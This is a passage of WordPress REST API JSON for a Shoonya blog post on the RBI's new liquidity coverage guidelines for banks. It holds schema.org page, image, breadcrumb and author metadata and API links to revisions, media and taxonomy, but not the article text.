Banks","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/RBI-New-Liquidity-Coverage-Guidelines.jpg","datePublished":"2025-04-22T11:21:55+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"RBI announced final liquidity coverage guidelines to reduce the run-off factor on retail deposits via IMB. This has come as a big relief for the banking sector.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/RBI-New-Liquidity-Coverage-Guidelines.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/04\/RBI-New-Liquidity-Coverage-Guidelines.jpg","width":1920,"height":1080,"caption":"RBI New Liquidity Coverage Guidelines"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/liquidity-coverage-guidelines\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"News","item":"https:\/\/shoonya.com\/blog\/latest-news\/"},{"@type":"ListItem","position":3,"name":"Big Relief for Banks &#8211; RBI&#8217;s New Liquidity Coverage Guidelines"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/12196","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=12196"}],"version-history":[{"count":1,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/12196\/revisions"}],"predecessor-version":[{"id":12197,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/12196\/revisions\/12197"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/12207"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=12196"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=12196"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=12196"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}